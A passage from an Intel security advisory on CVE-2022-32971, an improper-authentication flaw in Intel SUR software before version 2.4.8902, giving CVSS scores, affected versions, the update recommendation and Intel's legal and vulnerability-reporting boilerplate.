CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVEID: CVE-2022-32971

Description: Improper authentication in the Intel(R) SUR software before version 2.4.8902 may allow a privileged user to potentially enable escalation of privilege via network access.

CVSS Base Score: 3.1 Low

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:L  
 

**Affected Products:**

Intel® SUR software before version 2.4.8902.

**Recommendation:**

Intel recommends updating the Intel® SUR software to version 2.4.8902 or later.

Updates are available for download at this location: https://www.intel.com/content/www/us/en/download/19296  
 

**Acknowledgements:**

These issues were found internally by Intel employees.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/14/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
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